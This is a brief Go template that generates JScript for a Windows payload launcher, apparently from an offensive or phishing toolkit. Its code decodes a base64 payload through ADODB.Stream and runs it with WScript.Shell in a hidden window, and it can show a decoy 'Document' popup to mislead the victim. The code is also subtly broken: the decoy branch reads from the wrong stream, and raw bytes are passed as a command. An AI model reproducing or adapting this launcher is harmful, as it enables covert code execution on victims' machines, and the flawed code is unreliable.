var stream = new ActiveXObject("ADODB.Stream"); stream.Type = 1; stream.Write(window.atob({{.Encoded}})); var bytes = stream.Read(); var shell = new ActiveXObject("WScript.Shell"); shell.Run(bytes, 0, false); {{if len .EncodedDecoy}} var s2 = new ActiveXObject("ADODB.Stream"); s2.Type = 1; s2.Write(window.atob({{.EncodedDecoy}})); var b2 = stream.Read(); shell.Popup(b2, 0, "Document", 0x40); {{end}} {{/* vim: syntax=javascript */}}